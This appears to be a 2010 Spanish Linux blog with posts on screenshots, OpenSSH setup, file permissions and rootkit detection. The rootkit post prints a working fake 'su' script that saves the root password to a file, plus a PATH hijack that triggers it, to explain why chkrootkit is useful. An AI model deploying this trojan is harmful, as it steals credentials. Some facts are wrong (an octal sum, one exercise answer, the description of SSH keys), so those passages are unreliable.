Páginas

viernes, 13 de agosto de 2010

Capturar pantalla

Capturar pantalla al estilo Linux



Como capturar una pantalla en Linux desde la consola como usuario root.

1er metodo:

   1. Capturar pantalla completa, ejecutar como root:
      xwd -root -screen > screen_fvwm-crystal.xwd

   2. Para visuarlizar la captura:
      ee screen_fvwm-crystal.xwd

   3. Para cambiar formato xwd a png:
      convert screen_fvwm-crystal.xwd screen_fvwm-crystal.png

2do metodo:

   1. Capturar pantalla en el formato nativo del xwd:
      xwd -out screen_fvwm-crystal.xwd

   2. Convertir formato creado por xwd a formato pnm:
      xwdtopnm screen_fvwm-crystalxwd screen_fvwm-crystal.pnm
      xwdtopnm: writing PPM file

   3. Por último, pasar el archivo pnm al formato más comun png:
      pnmtopng screen_fvwm-crystal.pnm screen_fvwm-crystal.png

xwdtopnm y pnmtopng, pertenecen al paquete netpbm (Portable Bitmap Plus Utilities).

3er metodo:

También podemos utilizar el programa imagemagick de la siguiente forma:

    * import -window root screen_fvwm-crystal.png

Fuente: http://www.benavent.org/

Linux es genial!

sábado, 7 de agosto de 2010

OpenSSh

Propuestas de Linux para administrar un servidor y acceder a nuestra estación de trabajo remotamente. Tener solamente una linea de comandos o un escritorio gráfico completo.


OpenSSH es la herramienta para la administración remota, es seguro y fácil de instalar y usar. Desempeña la autenticación, el cifrado y la garantía de la integridad de la transferencia de datos. Si ocurre algo que altere los paquetes, SSH nos lo comunicará.

Componentes:

- sshd: Demonio del servedor OpenSSH
- ssh: Significa shell segura.
- scp: Copia segura, ofrece transferencia cifrada de ficheros
- sftp: Protocolo seguro de transferencia de ficheros.
- ssh-copy-id: Para instalar clave personal de identidad en el fichero authorized_keys de un equipo remoto.
- ssh-keyscan: Genera y gestiona claves de autenticación RSA y DSA.
- ssh-add: Agrega identidades RSA o DSA al agente de autenticación ssh-agent.
- ssh-agent: Recuerda las frases de acceso durante varias entradas a SSH para una autenticación automática. Funciona durante una misma sesión. Salir, abrir otra terminal, supone volver a empezar. En cambio, keychain recuerda las frases de acceso mientras no reiniciemos.

Tipos de autenticación:

- Autenticación por clave de host. Utiliza la identificación de entrada y contraseña de Linux para la autenticación y nuestras claves SSH para cifrar la sesión.
- Autenticación por clave pública. En lugar de utilizar nuestro sistema de identificación de entrada, autentica con una clave de identidad SSH. Las claves de identidad autentican usuarios individuales, las claves de host autentican servidores. Tiene que crear claves de identidad además de claves de host, luego distribuir copias de la clave pública a todos los hosts a los que se quiere acceder. Su clave privada no debe compartirla nunca.
- Autenticación sin frase de acceso. Similar a la autenticación por clave pública, pero el par de claves se crea sin frase de acceso. Resulta útil para servicios automatizados, como los guiones y tareas con cron. Una forma de usar frases de acceso con procesos automatizados es usar las utilidades ssh-agent o keychain.

Tipos de claves:

Las claves en símismas son del mismo tipo, RSA o DSA. Cada clave tiene dos partes, una pública y otra privada. El servidor se queda con la clave privada y el usuario, (cliente) emplea la clave pública. Las transmisiones se cifran con la clave pública y se descifran con la clave privada.

La dirección de la transmisión definen Servidor y Cliente. El demonio SSH debe estar ejecutándose y escuchando los intentos de conexión en el Servidor. El Cliente es cualquiera que entre a dicha máquina.

Configurar OpenSSH

para entrar en un host remoto con el método más sencillo soportado:

La autenticación por clave de host es el método más sencillo de configurar el acceso remoto SSH. Será necesario:

- Tener OpenSSH instalado en la máquina a la que queremos acceder remotamente.
- Demonio SSH ejecutándose en el servidor remoto y que el puerto 22 no esté bloquedo.
- Software cliente en el ordenador cliente.
- Una cuenta de acceso en el servidor remoto.
- Por último, distribuir la clave pública del host a los clientes.

Averiguar dependencias y USE local para el paquete openssh en Gentoo Linux, (no es necesario en otras distribuciones).
gentoo@hypatia / # emerge -pv openssh

These are the packages that would be merged, in order:

Calculating dependencies... done!
[ebuild   R   ] net-misc/openssh-5.3_p1-r1  USE="X* pam tcpd -X509 -hpn -kerberos -ldap -libedit -pkcs11 (-selinux) -skey -smartcard -static" 1,004 kB

Total: 1 package (1 reinstall), Size of downloads: 1,004 kB

Por lo tanto la información dentro de package.use quedará asi:
gentoo@hypatia / # vim /etc/portage/package.use
...
net-misc/openssh USE="X* pam tcpd -X509 -hpn -kerberos -ldap -libedit -pkcs11 (-selinux) -skey -smartcard -static"

Instalar openssh en Gentoo:

gentoo@hypatia / # emerge -av net-misc/openssh

Iniciar el demonio sshd:
gentoo@hypatia / # /etc/init.d/sshd start
* Starting sshd ...
gentoo@hypatia / # /etc/init.d/sshd status
 * status:  started

Para iniciarlo automáticamente:
gentoo@hypatia / # rc-update add sshd default

¿Crear claves RSA o DSA?, es igual. Ambas son fuertes criptográficamente.

La cuenta a utilizar será:
username -- > gentoo
passwdord -- > ********

Generar claves SSH:

Siguiendo con nuestro ejemplo, generamos un nuevo par de claves utilizando el nombre de clave de host por defecto de /etc/sshd_config. No cree nunca una frase de acceso en clave de host, en el momento que le solicite una pulse Intro:
gentoo@hypatia / # cd /etc/ssh
gentoo@hypatia / # ssh-keygen -t rsa -f ssh_host_rsa_key
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ssh_host_rsa_key.
Your public key has been saved in ssh_host_rsa_key.pub.
The key fingerprint is:
f1:d0:8f:de:1f:41:75:5e:51:11:76:9d:c6:1d:3f:64 root@hypatia
The key's randomart image is:
+--[ RSA 2048]----+
|              .E/|
|         .    +*B|
|        o .   o.o|
|         + o .  .|
|        S o . .  |
|         . .   . |
|          . . .  |
|             . . |
|              .  |
+-----------------+
gentoo@hypatia / #

Creo una pequeña red utilizando dos ordenadores, dos claves de red y un router.  El que hará de servidor se llamará hypatia, (Gentoo Linux instalado) y el cliente lucy_ubuntu, (Ubuntu 10.04 - Lucy instalado). Crear

Agregar regla al firewall:

Puede que quiera agregar regla que permita las peticiones de entrada del cliente tanto en el archivo /etc/host.allow como en su guión iptables:
# /etc/host.allow ALL:10.0.0.3/255.255.255.0

En mi caso particular:
# /usr/local/bin/fw_host
...
$ipt -A INPUT -p tcp --dport 22 --sport 1024:65535 -j ACCEPT
---

Esta regla permite las peticiones de entrada del cliente a traves del puerto 22 (puerto por defecto de openssh), desde rango de puertos de origen no privilegiados.

Con la finalidad de realizar pruebas utilizo un viejo router D-Link 504 con 4 puertos Ethernet. A traves de un navegador accedo a la dirección por defecto del router 192.168.1.1 (username y password admin), y cambio la dirección IP  10.0.0.1 con máscara de subred 255.255.255.0.

De esta manera tendré dos redes: La red LAN 10.0.0.0/24 y la 192.168.1.1/24 perteneciente al router de mi proveedor de acceso a Internet. Esta última no la necesito para las pruebas. Desactivo mi tarjeta inalámbrica traves del controlador que utiliza:
gentoo@hypatia / # rmmod iwl3945

No hace falta tocar ningún fichero de configuración ya que con el siguiente comando es posible establecer IP de manera temporal:
gentoo@hypatia / # ifconfig eth0 10.0.0.2 netmask 255.255.255.0 up

gentoo@hypatia / # ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:21:9b:e2:cd:44 
          inet addr:10.0.0.2  Bcast:10.0.0.255  Mask:255.255.255.0
          inet6 addr: fe80::221:9bff:fee2:cd44/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:448 errors:0 dropped:0 overruns:0 frame:0
          TX packets:562 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:171419 (167.4 KiB)  TX bytes:66852 (65.2 KiB)
          Interrupt:16

Crear ruta estatica:

Para la red 10.0.0.0/24 el gateway por defecto es 10.0.0.1 siendo este el router utilizado para conectar ambos ordenadores.
gentoo@hypatia / # route add default gw 10.0.0.1 eth0

Comprobando con el comando route:
gentoo@hypatia / # route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
10.0.0.0        *               255.255.255.0   U     0      0        0 eth0
loopback        *               255.0.0.0       U     0      0        0 lo
default         10.0.0.1        0.0.0.0         UG    0      0        0 eth0

Desde el ordenador que hara de cliente repito los comandos ifconfig y route respectivamente, cambiando la IP a 10.0.0.3:
gentoo@lucy_ubuntu ~ # ifconfig eth0 10.0.0.3 netmask 255.255.255.0 up    
gentoo@lucy_ubuntu ~ # route

Copiar la clave:

Una manera de distribuir la clave pública del host al(los) clientes es entrar desde el cliente y dejar que OpenSSH transfiera la clave. Puede utilizar el nombre de host o su dirección IP:

gentoo@lucy_ubuntu ~ $ ssh 10.0.0.2
The authenticity of host '10.0.0.2 (10.0.0.2)' can't be established.
RSA key fingerprint is 44:e0:bb:e2:92:45:d0:90:cd:54:44:19:7c:b2:97:df.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.0.0.2' (RSA) to the list of known hosts.
Password:

Last login: Fri Aug  6 19:01:40 CEST 2010 from 10.0.0.3 on pts/1

En este momento lucy_ubuntu puede en hypatia como si estuviera delante de la máquina, y el tráfico, incluida la identificación de entrada inicial, está cifrado.
gentoo@hypatia ~ $

Fijese, (en el prompt), que al salir volvemos a la máquina cliente.
gentoo@hypatia ~ $ exit
logout
Connection to 10.0.0.2 closed.

gentoo@lucy_ubuntu ~ $ ssh 10.0.0.2

Password:
Last login: Fri Aug 6 19:5:04 CEST 2010  from 10.0.0.3 on pts/1

gentoo@hypatia ~ $

En el fichero ~/.ssh/known_hosts está la clave pública en el PC cliente. Puede contener cualquier cantidad de claves de host. Es buena idea entrar como usuario normal y luego utilizar su para cambiar a usuario root.

Linux es genial!.

lunes, 2 de agosto de 2010

El mundo Linux (Unix)

Linux no es un simple producto de la moda ni de una campaña promocional. Desde sus primeros desarrollos en 1991 y hasta la fecha de hoy, Linux no ha dejado de evolucionar, cambiar. El mundo de la informática está vivo. Si no evoluciona, vegeta. Gracias a Linux, millones de personas han encontrado por fin lo que estaban buscando.

GNU-Linux no es más complicado que cualquier otro sistema operativo. La lentitud con la que parece penetrar en el gran público no está relacionada con su supuesta dificultad. El buen rendimiento admitido por numerosos usuarios principiantes o avanzados, grupos de usuarios Linux y profesionales en general muestra que se trata sobre todo de un problema relacionado con las costumbres de la gente, habituada durante años a un sistema operativo único. Resulta evidente que hay que modificar un poco estas costumbres para adaptarse a un entorno Linux.

Los ordenadores

 Un ordenador es una máquina muy polivalente. No debemos esperar que sea tan sencillo de usar como una máquina de mecanismo simple aunque no debemos conocer a toda costa los entresijos técnicos de nuestro ordenador para poder utilizarlo, hay que recordar y respetar algunas nociones y bases fundamentales.

Un ordenador no sabe hacer nada por sí mismo. No hay nada más estúpido que una computadora. Hay que decirle lo que debe hacer. Lo que le hace "inteligente" en el sentido de potencia de cálculo es el usuario y los programas que le hace ejecutar. Aunque esté inventado por humanos para humanos, el ordenador no entiende su lenguaje. Habla en binario, combinación de ceros (0) y unos (1). Estos valores combinados entre sí forman palabras y datos para el ordenador. El binario se convierte en un lenguaje llamado "lenguaje máquina". Los microprocesadores emplean un lenguaje llamado "ensamblador" en el cual cada instrucción dispone de un equivalente en binario. Con la ayuda de este lenguaje ensamblador, los informáticos desarrollan sus programas, uno de los cuales se llama "compilador" (un traductor de lenguaje de alto nivel y comprensible esta vez por un gran número de informáticos).

El sistema operativo

Entre el momento en el que pulsa el botón de encendido de su ordenador y el momento en el que puede trabajar y utilizar sus programas, pasa un cierto tiempo durante el cual se cargan programas en la memoria de su ordenador. El objetivo de estos programas es simplificarle la vida al usuario y al programador, al hacer las cosas más sencillas. Estos programas forman un conjunto llamado sistema "operativo". El papel del sistema operativo consiste en sacar partido al ordenador tanto como sea posible. En otras palabras, el sistema operativo le proporciona todos los mecanismos necesarios para aprovechar lo mejor posible los recursos de su ordenador.

Un sistema operativo es un programa o un conjunto de programas que garantiza la gestión del ordenador y de los periféricos. Sirve de interfaz entre el medio físico (hardware) y el programa
(software).

El sistema operativo ofrece a los programadores una interfaz de programación de aplicaciones llamada API, Application Programming Interface. Todos los programadores utilizan las mismas funciones en sus programas, lo que simplifica mucho el trabajo. Pueden centrarse en el objetivo de su programa (crear un procesador de texto, por ejemplo) sin tener que escribir una y otra vez las secuencias de programas que gestionan el disco duro, la impresora o el acceso al teclado. Le corresponde al sistema operativo gestionar:
  •  la memoria,
  •   los accesos a los periféricos,
  •   los datos sobre los discos,
  •   los programas,
  •   la seguridad,
  •   la compilación de información.

La interfaz grafica

En un producto como Microsoft Windows la interfaz gráfica está incluida en el mismo interior del sistema operativo. De hecho, hay una ventana de diálogo para realizar cualquier ajuste en el sistema.
Los usuarios suelen pensar que la interfaz gráfica es el sistema operativo.La interfaz gráfica no siempre ha formado parte del sistema operativo. Viene como complemento. No encontrará ningún
libro sobre teoría de los sistemas operativos que trate de las interfaces gráficas. Aumenta la lentitud y ocupa preciosos recursos de la máquina, no es necesaria interfaz gráfica para gestionar un servidor . Linux propone interfaces, pero no son programas como los demás.

La interfaz gráfica no es un componente del sistema operativo y Linux no la necesita para funcionar correctamente. Es un conjunto de varios programas ejecutados de forma clásica "encima" del sistema operativo.

Linux es un sistema operativo de tipo Unix. Existen decenas de sistemas operativos en esta familia. Unix es un sistema operativo de la familia de los sistemas multitareas y multiusuarios:

  • Multitarea: el sistema gestiona la ejecución simultánea de varios programas llamados procesos (nota: un verdadero multitarea necesita contar con varios microprocesores o equivalentes; Hyper Threading, por ejemplo). 
  • Multiusuarios: el sistema permite la existencia de varios usuarios diferentes en una misma máquina, conectados o no.

Arquitectura lógica de un sistema Linux

El esquema anterior es una sintesis simplificada de la estructura interna de un sistema operativo Unix. Abajo se encuentra su medio físico; arriba, los programas que usted ejecuta en su máquina. Entre ambos, los diferentes componentes del sistema operativo aseguran su correcto funcionamiento:
  • Las llamadas al sistema son utilizadas por los programas para comunicarse con el sistema operativo Unix.
     
  • La gestión de los procesos se encarga de la conmutación de las tareas y de su prioridad. Este
    componente se encarga, por lo tanto, de la multitarea.

  • La gestión de las entradas y de las salidas de ficheros se encarga tanto de la lectura y escritura de los datos en sus discos duros como también en sus periféricos (tarjeta de sonido, impresora,
    etc.).

  • Se puede ubicar cierta información en una zona de memoria llamada caché. En lugar de escribir datos directamente en el disco duro (un proceso lento), Unix va a escribirlos provisionalmente en una zona de memoria para luego escribirlos en el disco, después de unos segundos. Así, la lectura de estos datos es más rápida porque ya están en memoria y el programa no pierde tiempo en esperar el fin de la escritura de los datos.

  • Los drivers tienen como papel gestionar al más bajo nivel el hardware o las estructuras lógicas del hardware (por ejemplo, los datos de una partición).
Una aplicación bien programada en un sistema operativo bien programado no puede cortocircuitar este esquema: no "discute" nunca con el hardware, sino que dialoga obligatoriamente con las API correspondientes.

Linux es genial!

domingo, 20 de junio de 2010

Permisos de acceso


El papel de un sistema operativo es también el de asegurar la integridad y el acceso a los datos. Esto es posible gracias a un sistema de permisos. A cada fichero o directorio se le asignan unos privilegios que le son propios, así como autorizaciones de acceso individuales. En el momento de intentar el acceso, el sistema comprueba si está autorizado.

Cuando el administrador crea un usuario, le asigna un UID (User Identification) único. Los usuarios quedan definidos en el fichero /etc/passwd. Cada usuario es integrado en, al menos, un grupo, que será su grupo primario. Todos éstos tienen un identificador único, el GID (Group Identification) definidos en el fichero /etc/group.

obtener esta información es posible con el comando id. A nivel interno, el sistema trabaja únicamente con los UID y GID.

gentoo@hypatia ~ $ id
uid=1000(gentoo) gid=100(users) grupos=100(users),18(audio),19(cdrom),27(video),85(usb),250(portage),1002(plugdev)

Se asocian un UID y un GID a cada fichero (inodo) que define su propietario y su grupo con privilegios. Usted asigna permisos al propietario, al grupo con privilegios y al resto de la gente. Se distinguen tres casos:

UID del usuario idéntico al UID definido para el fichero. Este usuario es propietario del fichero.
   
Los UID son diferentes: el sistema comprueba si el GID del usuario es idéntico al GID del fichero. Si es el caso, el usuario pertenece al grupo con privilegios del fichero.

En los otros casos (ninguna correspondencia): se trata del resto de la gente (others), ni es el propietario, ni un miembro del grupo con privilegios.   

drwxr-xr-x 10 gentoo users 4096 jun 13 7:32 tutoriales

En esta línea de la tabla, el directorio tutoriales pertenece al usuario gentoo y grupo users con los permisos rwxr-xr-x.

Fichero normal


r - Se puede leer el contenido, cargarlo en memoria, listarlo y copiarlo.

w - Se puede modificar el contenido del fichero. Se puede escribir dentro. Modificar el contenido no significa poder eliminar el fichero (ver permisos en directorio).

x - Se puede ejecutar el fichero desde la línea de comandos si se trata de un programa binario (compilado) o de un script (shell, perl...).

Directorio

r - Se pueden listar (leer) los elementos del directorio (catálogo). Sin esta autorización, ls y los criterios de filtro en el directorio y su contenido no serían posibles. No obstante, puede seguir accediendo a un fichero si conoce su ruta de acceso.

w - Se pueden modificar los elementos del directorio (catálogo), y es posible crear, volver a nombrar y suprimir ficheros en este directorio. Es este permiso el que controla el permiso de eliminación de un fichero.

x - Se puede acceder al catálogo por CD y se puede listar. Sin esta autorización, es imposible acceder al directorio y actuar en su contenido, que pasa a estar cerrado.

Por ejemplo, para un fichero:

rwxr-xr--

Permisos para el propietario de lectura, escritura y ejecución.
Permiso para los miembros del grupo de lectura y ejecución.
Permisos para el resto del mundo de lectura únicamente.

Modificar permisos

Cuando se crea, un fichero o un directorio dispone de permisos por defecto. El comando chmod (change mode) se utiliza para modificar los permisos en un fichero o un directorio. Existen dos métodos para modificar estos derechos: mediante símbolos o mediante un sistema octal de representación de permisos. Sólo el propietario de un fichero y el administrador del sistema puede modificar sus permisos. El parámetro -R cambia los permisos de manera recursiva.

La sintaxis es la siguiente:

chmod modificaciones file3 file2...

Para modificar los permisos del propietario, utilice el carácter u; para los permisos del grupo con permisos, el carácter g; para el resto, el carácter o, y para todos, el carácter a.

Para añadir permisos, se utiliza el carácter +; para retirarlos, el carácter -, y para no tener en cuenta los parámetros anteriores, el carácter =.

Finalmente, ponga el permiso cuyos símbolos son: r, w o x.

Puede separar las modificaciones con comas y acumular varios permisos en un mismo comando.

Si quiere suprimir todos los derechos, no especifique nada después del signo =:


gentoo@hypatia ~ $ ls -l chapter6-config
-rw-r--rwx 1 gentoo users 3257 jun 12 23:48 chapter6-config

gentoo@hypatia ~ $ chmod o= chapter6-config
gentoo@hypatia ~ $ ls -l chapter6-config
-rw-r----- 1 gentoo users 3257 jun 12 23:48 chapter6-config

Sistema octal

  r =  4
  w = 2
  x = 1

Para obtener el permiso final, basta sumar los valores. Por ejemplo, si quiere rwxrw-rw-, entonces obtiene 400+200+100+40+10+4+1=755, y para rw-r--r-- 400+200+40+4=644.

La modificación octal de los permisos no permite modificar un solo derecho. Es la totalidad de los permisos lo que se ha modificado de una sola vez.

Máscara de permisos


En el momento de la creación de un fichero o de un directorio, se les asigna unos permisos automáticamente. Suele ser rw-r--r-- (644) para un fichero y rwxr-xr-x (755) para un directorio. Una máscara de permisos controla estos valores. Se la puede modificar con el comando umask. El comando umask coge como parámetro un valor octal del cual cada permiso individual será suprimido de los derechos de acceso máximo del fichero o del directorio.

Por defecto, se crean todos los ficheros con los permisos 666 (rw-rw-rw-).
Por defecto, se crean todos los directorios con los permisos 777 (rwxrwxrwx).
Luego se aplica la máscara

La máscara es la misma para el conjunto de los ficheros.Una máscara no modifica los permisos de los ficheros existentes, sino solamente los de los ficheros creados a partir de este momento.

Los permisos por defecto (máximo) de los ficheros y de los directorios no son idénticos. Es lógico: como el permiso x permite entrar en un directorio, es normal que éste disponga de él por defecto. Este mismo permiso es inútil por defecto en los ficheros: sólo una pequeña minoría de los ficheros son scripts o binarios.

La máscara por defecto es 022, o sea ----w--w-. Para obtener este valor, inserte umask sin parámetro.

gentoo@hypatia ~ $ umask
0022

Como calcular la máscara

Para un fichero

Predeterminado  rw-rw-rw- (666)
Retirar         ----w--w- (022)
Resta           rw-r--r-- (644)

Para un directorio


Predeterminado  rwxrwxrwx (777)
Retirar         ----w--w- (022)
Resta           rwxr-xr-x (755)

Observe que aplicar una máscara no es sustraer, sino suprimir permisos de los establecidos por defecto, permiso a permiso. Por ejemplo:

Predeterminado  rw-rw-rw- (666)
Retirar         ----wxrwx (037)
Resta           rw-r----- (640)

Y no 629, lo que es imposible en sistema octal...

Cambiar de propietario y grupo

Es posible cambiar el propietario y el grupo de un fichero con la ayuda de los comandos chown (change owner) y chgrp (change group). El parámetro -R cambia la propiedad de manera recursiva.

chown usuario file1 file3...
chgrp grupo file1 file3...

Al especificar el nombre de usuario (o de grupo), el sistema comprueba primero su existencia. Usted puede especificar un UID o un GID. En este caso, el sistema no efectuará comprobación alguna.

Para los dos comandos, no se modifican los permisos anteriores ni la ubicación del fichero. Es posible modificar con un solo comando el propietario y el grupo a la vez.

chown usuario:grupo file1 file2...
chown usuario.grupo file1 file2...

Sólo root tiene el permiso de cambiar el propietario de un fichero. Pero un usuario puede cambiar el grupo de un fichero si forma parte del nuevo grupo.

gentoo@hypatia ~ $ chgrp video file1
gentoo@hypatia ~ $ ls -l file1
-rwxr-xr-x 1 gentoo video 0 mar 21 22:03 file1

SUID y SGID

Es posible establecer permisos de acceso especiales para ficheros ejecutables. Estos permisos de acceso extendidos aplicados a un comando permiten sustituir los permisos otrogados al usuario que lo inició por los permisos del propietario o del grupo de pertenencia del comando.

El ejemplo más sencillo es el programa passwd, que permite cambiar la contraseña. Si se ejecutara el comando con los permisos de un usuario clásico, passwd no podría abrir y modificar los ficheros /etc/passwd y /etc/shadow:

gentoo@hypatia ~ $ ls -l /etc/passwd
-rw-r--r-- 1 root root 1440 may 24 10:02 /etc/passwd

Puede observar que este fichero pertenece a root, y que sólo root puede escribir en él. Un usuario normal no puede leer su contenido sin interactuar. El comando passwd no debería, por lo tanto, poder modificar los ficheros. Vea los permisos del comando passwd (/bin/passwd o /usr/bin/passwd):

gentoo@hypatia ~ $ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root shadow 78208 jun 10:06 /usr/bin/passwd

Lleva asociado un nuevo permiso: s para los permisos del usuario root. Este nuevo atributo permite la ejecución del comando con permisos de acceso extendidos. Durante el tratamiento, se ejecuta el programa con los permisos del propietario del fichero o de su grupo de pertenencia. En el caso de passwd, se inicia con los permisos de root y no del usuario que lo lanzó.

El permiso s sobre el usuario se llama SUID-Bit (Set User ID Bit), y sobre el grupo, GUID-Bit (Set Group ID Bit).

El comando chmod permite ubicar SUID-Bit y GUID-Bit.

chmod u+s comando
chmod g+s comando

Los valores octales son 4000 para SUID-Bit y 2000 para GUID-Bit.

chmod 4755 comando
chmod 2755 comando

Sólo el propietario o el administrador puede activar esta propiedad. Posicionar SUID-bit o SGID-Bit tiene sentido únicamente si se han establecido los permisos de ejecución previamente (atributo x en el propietario o el grupo). Si éstos no están presentes; se sustituye la s por una S..

No se transmiten los SUID-Bit y SGID-bit a los hijos de un proceso. En este caso, se ejecutarán los hijos con los permisos del usuario que inició el comando básico, los UID reales.

Sticky bit

El sticky bit (bit pegajoso) permite asignar un criterio protector contra el borrado del contenido de un directorio. Imagine un directorio /tmp donde todos los usuarios tienen el permiso de leer y escribir ficheros.

gentoo@hypatia ~ $ ls -ld /tmp
drwxrwxrwx   6 root     system     16384 may 14 13:22 tmp

En este directorio todo el mundo puede suprimir ficheros, incluyendo los que no le pertenecen (derecho w presente en todas partes y para todos). Si el usuario gentoo crea un fichero, el usuario axel puede suprimirlo incluso aunque no le pertenezca.

El sticky bit aplicado a un directorio, impide esta operación.

gentoo@hypatia ~ $ chmod u+t /tmp
gentoo@hypatia ~ $ ls -ld /tmp
drwxrwxrwt 35 root root 77824 jun 21 12:30 /tmp

En octal, se utilizará el valor 1000 (chmod 1777 /tmp).

Aunque aplicado al usuario, el sticky bit, representado por una t, aparece en el grupo de permisos de others.

Permisos y directorio

Si usted da el permiso al grupo en un directorio, todos los ficheros creados dentro de este directorio serán del mismo grupo que este directorio, sea cual sea el grupo de la persona que crea este fichero.

gentoo@hypatia ~ $ mkdir dir
gentoo@hypatia ~ $ chmod 770 dir
gentoo@hypatia ~ $ ls -ld dir
drwxrwx--- 2 gentoo users 4096 jun 21 13:36 dir
gentoo@hypatia ~ $ chgrp video dir
gentoo@hypatia ~ $ chmod g+s dir
gentoo@hypatia ~ $ ls -ld dir
drwxrws--- 2 gentoo video 4096 jun 21 13:37 dir
gentoo@hypatia ~ $ cd dir
gentoo@hypatia ~ $ touch test
gentoo@hypatia ~ $ ls -l test
-rw-r--r-- 1 gentoo video 0 jun 21 13:37 test

Algunos ejercicios:

Supongamos un fichero del que es propietario llamado notas, ha retirado a los miembros del grupo y otros todos los permisos sobre él, y el directorio que lo contiene dispone del permiso w para los miembros del grupo. ¿Quién puede suprimir su fichero?

Usted y los miembros del grupo del directorio. El permiso de escritura en el directorio es el que autoriza a las personas a modificar su contenido.

Con chmod, ¿cuáles son los parámetros que se deben colocar para suprimir los permisos de escritura a los demás, dar el permiso de lectura y ejecución a los miembros del grupo y todos los permisos a usted?

u=rwx,g=rw,o-w.
Quiere crear un directorio donde todo el mundo pueda escribir ficheros, donde todos los ficheros tengan el mismo grupo, pero donde nadie pueda suprimir los ficheros de los demás. ¿Cuáles deben ser los derechos?

rwxrwsrwt, o sea, 3777 en octal.

Linux es genial

domingo, 2 de mayo de 2010

Buscar rootkits

Chkrootkit

rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, y puertos que permiten al intruso mantener el acceso a un sistema, para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos.

Buscar rootkits
Después de que un pirata informático no autorizado haya conseguido penetrar en una máquina, por una contraseña muy sencilla o por un fallo, con toda seguridad intentará instalar una puerta trasera o backdoor, con la finalidad de utilizar su máquina con dudosos propositos, llevarse o almacenar datos.

Acaparar los derechos de root no implica necesariamente teclear directamente en esta cuenta. Lo habitual es conectarse como usuario normal y pasar a root utilizando su. Un servicio ftp mal configurado puede hacer posible la conexión y desplegando a continuación un script llamado su, modifica el PATH por defecto poniendo así la ruta del script, lo demás será muy fácil.

gentoo ~$ pwd
/home/gentoo

gentoo ~$ vim su
#!/bin/bash
echo -e "Contraseña :\c"
read -s password
echo "$@ $password" > /home/gentoo/file
echo
echo "su: Password incorrecto."
/bin/su $@
## Fin del archivo####

gentoo ~$ chmod +x su
gentoo ~$ export PATH=$HOME
gentoo ~$ su - root
Contraseña: (falso su)
su: Password incorrecto. (falso su)
Contraseña: (su verdadero)

La contraseña de root esta en el fichero file1
gentoo ~$ cat file1
 rino4Zrcat

su solo pide la contraseña una vez, el engaño salta a la vista.

La herramienta chkrootkit es una sencilla herraminta que permite buscar la presencia de los más conocidos y habituales rootkits. Su eficacia depende de mantenerla actualizada y ejecutarla con regularidad.

xena@gentoo # chkrootkit
xena tmp # cat rootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not infected
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not found
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not found
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not tested
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while... nothing found
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
chkdirs: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... wlan0: PF_PACKET(/usr/sbin/wpa_supplicant)
Checking `w55808'... not infected
